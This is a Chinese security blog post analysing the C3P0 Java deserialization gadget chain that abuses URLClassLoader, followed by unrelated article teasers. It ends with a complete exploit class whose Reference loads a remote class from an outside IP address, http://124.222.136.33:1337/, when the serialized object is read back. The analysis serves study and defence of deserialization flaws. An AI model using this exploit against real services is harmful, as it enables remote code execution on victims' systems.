【Web】浅聊Java反序列化之C3P0——URLClassLoader利用

目录

前言

C3P0介绍

回归本源——序列化的条件

利用链

利用链分析

入口——PoolBackedDataSourceBase#readObject

拨云见日——PoolBackedDataSourceBase#writeObject

综合分析

EXP


前言

这条链最让我眼前一亮的就是对Serializable接口的有无进行了一个玩,相较之前纯粹跟全继承Serializable接口的链子,思考又多了一个维度。(虽然不是关键)

C3P0介绍

pom依赖

<dependency><groupId>com.mchange</groupId><artifactId>c3p0</artifactId><version>0.9.5.2</version>
</dependency>

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。 

连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。

回归本源——序列化的条件

求求师傅们别嫌我烦,让我再啰嗦几句QWQ

提问:

一个类的某个属性没有继承Serializable接口,这个类可以序列化吗?

回答:

在 Java 中,如果一个类的某个属性没有实现 Serializable 接口,但这个属性是 transient 的,那么这个类仍然可以被序列化。当对象被序列化时,transient 修饰的属性将会被忽略,不会被序列化到输出流中,而其他非 transient 的属性则会被正常序列化。

如果一个类的某个属性既不是 transient 的,也没有实现 Serializable 接口,那么在尝试对该类的实例对象进行序列化时,会导致编译错误或者在运行时抛出 NotSerializableException 异常。

因此,为了确保一个类的实例对象可以被成功序列化,通常建议满足以下条件:

  1. 类本身实现 Serializable 接口;
  2. 所有非 transient 的属性都实现 Serializable 接口,或者是基本数据类型(如 int、long 等);
  3. 如果有某些属性不需要被序列化,可以将它们声明为 transient。

利用链

PoolBackedDataSourceBase#readObject->
ReferenceIndirector#getObject->
ReferenceableUtils#referenceToObject->
of(ObjectFactory)#getObjectInstance

利用链分析

入口——PoolBackedDataSourceBase#readObject

PoolBackedDataSourceBase中有个ConnectionPoolDataSource类型的私用属性

private ConnectionPoolDataSource connectionPoolDataSource;

 注意到ConnectionPoolDataSource没有继承Serializable接口,也就无法被序列化

public interface ConnectionPoolDataSource  extends CommonDataSource

点到为止,再看PoolBackedDataSourceBase#readObject

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {short version = ois.readShort();switch (version) {case 1:Object o = ois.readObject();if (o instanceof IndirectlySerialized) {o = ((IndirectlySerialized)o).getObject();}this.connectionPoolDataSource = (ConnectionPoolDataSource)o;this.dataSourceName = (String)ois.readObject();o = ois.readObject();if (o instanceof IndirectlySerialized) {o = ((IndirectlySerialized)o).getObject();}this.extensions = (Map)o;this.factoryClassLocation = (String)ois.readObject();this.identityToken = (String)ois.readObject();this.numHelperThreads = ois.readInt();this.pcs = new PropertyChangeSupport(this);this.vcs = new VetoableChangeSupport(this);return;default:throw new IOException("Unsupported Serialized Version: " + version);}}

我们发现一个奇怪的逻辑:

判断对象o是否是IndirectlySerialized类的对象或者是其子类的对象,若是则调用getobject后强转对象为ConnectionPoolDataSource

也就是在反序列化时进行了这样的转换:IndirectlySerialized -> ConnectionPoolDataSource

这么做的目的是什么呢?

抛开目的不谈,((IndirectlySerialized)o).getObject()我们也不知道其具体实现是什么

public interface IndirectlySerialized extends Serializable {Object getObject() throws ClassNotFoundException, IOException;
}

 反序列化分析到这一步似乎已经瓶颈,我们下面再来看序列化的过程。

拨云见日——PoolBackedDataSourceBase#writeObject

来看PoolBackedDataSourceBase#writeObject

private void writeObject(ObjectOutputStream oos) throws IOException {oos.writeShort(1);ReferenceIndirector indirector;try {SerializableUtils.toByteArray(this.connectionPoolDataSource);oos.writeObject(this.connectionPoolDataSource);} catch (NotSerializableException var9) {MLog.getLogger(this.getClass()).log(MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", var9);try {indirector = new ReferenceIndirector();oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));} 

这段逻辑是,首先尝试序列化当前对象的connectionPoolDataSource属性,若抛出NotSerializableException异常,即不能序列化,则catch这个异常,并用ReferenceIndirector.indirectForm处理后再序列化。

因为ConnectionPoolDataSource没有继承Serializable接口(上面提到过),所以我们会进到异常的逻辑中

跟进new ReferenceIndirector().indirectForm

public IndirectlySerialized indirectForm(Object var1) throws Exception {Reference var2 = ((Referenceable)var1).getReference();return new ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);}

调用了connectionPoolDataSource属性的getReference(),返回Reference后作为参数封装进ReferenceSerialized对象,而ReferenceSerialized实现的接口IndirectlySerialized继承了Serializable接口,因此ReferenceSerialized可被序列化。

private static class ReferenceSerialized implements IndirectlySerialized
public interface IndirectlySerialized extends Serializable

OK到这里为止,我们知道了connectionPoolDataSource属性的序列化,最后写入的是ReferenceSerialized

也就是在序列化时进行了这样的转换:IndirectlySerialized -> ConnectionPoolDataSource

太好了,我逐渐理解了一切!

综合分析

上面所讲的序列化的过程其实就是为了照顾到不能直接序列化的ConnectionPoolDataSource,先提供一个可序列化的ReferenceSerialized(IndirectlySerialized)进行中转。

而反序列化的过程就是把中转的ReferenceSerialized(IndirectlySerialized)再度还原为PoolBackedDataSourceBase类的属性ConnectionPoolDataSource

好的,我们回过头再来看PoolBackedDataSourceBase#readObject中的这段代码

Object o = ois.readObject();if (o instanceof IndirectlySerialized) {o = ((IndirectlySerialized)o).getObject();}this.connectionPoolDataSource = (ConnectionPoolDataSource)o;

((IndirectlySerialized)o).getObject()其实就是调用ReferenceIndirector#getObject

public Object getObject() throws ClassNotFoundException, IOException {try {InitialContext var1;if (this.env == null) {var1 = new InitialContext();} else {var1 = new InitialContext(this.env);}Context var2 = null;if (this.contextName != null) {var2 = (Context)var1.lookup(this.contextName);}return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);}

跟进ReferenceableUtils.referenceToObject()

顾名思义,这个方法用于将引用(Reference)转换为对象

 public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {try {String var4 = var0.getFactoryClassName();String var11 = var0.getFactoryClassLocation();ClassLoader var6 = Thread.currentThread().getContextClassLoader();if (var6 == null) {var6 = ReferenceableUtils.class.getClassLoader();}Object var7;if (var11 == null) {var7 = var6;} else {URL var8 = new URL(var11);var7 = new URLClassLoader(new URL[]{var8}, var6);}Class var12 = Class.forName(var4, true, (ClassLoader)var7);ObjectFactory var9 = (ObjectFactory)var12.newInstance();return var9.getObjectInstance(var0, var1, var2, var3);}

Reference是之前序列化时候可控的(序列化时通过调用connectionPoolDataSource属性的getReference方法),我们只要传一个覆写了getReference方法的connectionPoolDataSource给PoolBackedDataSourceBase参与序列化即可。

之后显然可以通过URLClassLoader加载并实例化远程类

EXP

package com.c3p0;import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;public class C3P0 {public static void main(String[] args) throws Exception {PoolBackedDataSourceBase base = new PoolBackedDataSourceBase(false);Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");Field cp = clazz.getDeclaredField("connectionPoolDataSource");cp.setAccessible(true);cp.set(base, new evil());ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(base);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));Object o = (Object) ois.readObject();}public static class evil implements ConnectionPoolDataSource, Referenceable{public Reference getReference() throws NamingException {return new Reference("calc", "calc", "http://124.222.136.33:1337/");}public PooledConnection getPooledConnection() throws SQLException {return null;}public PooledConnection getPooledConnection(String user, String password) throws SQLException {return null;}public PrintWriter getLogWriter() throws SQLException {return null;}public void setLogWriter(PrintWriter out) throws SQLException {}public void setLoginTimeout(int seconds) throws SQLException {}public int getLoginTimeout() throws SQLException {return 0;}public Logger getParentLogger() throws SQLFeatureNotSupportedException {return null;}}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/525542.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【深度学习笔记】6_8 长短期记忆(LSTM)

注&#xff1a;本文为《动手学深度学习》开源内容&#xff0c;部分标注了个人理解&#xff0c;仅为个人学习记录&#xff0c;无抄袭搬运意图 6.8 长短期记忆&#xff08;LSTM&#xff09; 本节将介绍另一种常用的门控循环神经网络&#xff1a;长短期记忆&#xff08;long shor…

吴恩达deeplearning.ai:倾斜数据集的误差指标精确率、召回率

以下内容有任何不理解可以翻看我之前的博客哦&#xff1a;吴恩达deeplearning.ai专栏 文章目录 倾斜数据集的误差指标罕见病预测精确率和召回率 精确率和召回率的权衡精确率和召回率的矛盾关系 F1算法 倾斜数据集的误差指标 在神经网络中&#xff0c;如果你的数据集中正例和负…

RabbitMQ发布确认高级版

1.前言 在生产环境中由于一些不明原因&#xff0c;导致 RabbitMQ 重启&#xff0c;在 RabbitMQ 重启期间生产者消息投递失败&#xff0c; 导致消息丢失&#xff0c;需要手动处理和恢复。于是&#xff0c;我们开始思考&#xff0c;如何才能进行 RabbitMQ 的消息可靠投递呢&…

【GO语言卵细胞级别教程】09.切片的超能力(含习题)

【GO语言卵细胞级别教程】09.切片的超能力&#xff08;含习题&#xff09; 目录 【GO语言卵细胞级别教程】09.切片的超能力&#xff08;含习题&#xff09;1.概述1.1 简介1.2 为什么需要切片 2.语法介绍2.1 切片的定义2.2切片基本使用2.2.1遍历2.2.2切片的骚操作 2.3切片与数组…

P1958 上学路线

难度&#xff1a;普及- 题目描述 你所在城市的街道好像一个棋盘&#xff0c;有 a 条南北方向的街道和 b 条东西方向的街道。南北方向的 a 条街道从西到东依次编号为 1 到 a&#xff0c;而东西方向的 b 条街道从南到北依次编号为 1 到 b&#xff0c;南北方向的街道 i 和东西方…

基于springboot的家庭装修报价系统设计与实现

目 录 摘 要 I Abstract II 引 言 1 1 相关技术 3 1.1 SpringBoot框架 3 1.2 ECharts 3 1.3 Vue框架 3 1.4 Bootstrap框架 3 1.5 JQuery技术 4 1.6 Ajax技术 4 1.7 本章小结 4 2 系统分析 5 2.1 需求分析 5 2.2 非功能需求 7 2.3 本章小结 8 3 系统设计 9 3.1 系统总体设计 9 …

通过Step Back提示增强LLM的推理能力

原文地址&#xff1a;enhancing-llms-reasoning-with-step-back-prompting 论文地址&#xff1a;https://arxiv.org/pdf/2310.06117.pdf 2023 年 11 月 6 日 Introduction 在大型语言模型不断发展的领域中&#xff0c;一个持续的挑战是它们处理复杂任务的能力&#xff0c;这…

数字化转型导师坚鹏:科技金融政策、案例及发展研究

科技金融政策、案例及发展研究 课程背景&#xff1a; 很多银行存在以下问题&#xff1a; 不清楚科技金融有哪些利好政策&#xff1f; 不知道科技金融有哪些成功案例&#xff1f; 不知道科技金融未来发展方向&#xff1f; 课程特色&#xff1a; 以案例的方式解读原创方…

多模态响应与功能集成!华中科技大学微型磁控胶囊机器人登上《Nature Communications》!

胶囊机器人可以通过口服方式抵达胃肠道病灶区域实施医疗功能&#xff0c;为实现胃肠道疾病无痛无创诊疗和提高患者依从性提供了重要途径。其中&#xff0c;磁控胶囊机器人技术因其驱动方式具有非接触、穿透性能好和控制模式丰富等优势而被认为是最理想的胃肠道疾病诊疗手段之一…

ai学习前瞻-python环境搭建

python环境搭建 Python环境搭建1. python的安装环境2. MiniConda安装3. pycharm安装4. Jupyter 工具安装5. conda搭建虚拟环境6. 安装python模块pip安装conda安装 7. 关联虚拟环境运行项目 Python环境搭建 1. python的安装环境 ​ python环境安装有4中方式。 从上图可以了解…

汽车级瞬态抑制TVS二极管优势特性及型号大全

汽车级瞬态抑制TVS二极管是一种高性能的防浪涌过电压电路保护元器件&#xff0c;能够在瞬态电压过高的情况下提供可靠的保护。它能够迅速响应并吸收过电压&#xff0c;将其导向地线&#xff0c;从而保护车辆的电子设备免受损坏。东沃汽车级TVS二极管具有以下几个关键优势&#…

118.龙芯2k1000-pmon(17)-制作ramdisk

目前手上这个设备装系统不容易&#xff0c;总是需要借助虚拟机才能实现。 对生产就不太那么友好&#xff0c;能否不用虚拟机就能装Linux系统呢&#xff1f; 主要是文件系统的问题需要解决&#xff0c;平时我们一般是用nfs挂载后&#xff0c;然后对硬盘格式化&#xff0c;之后…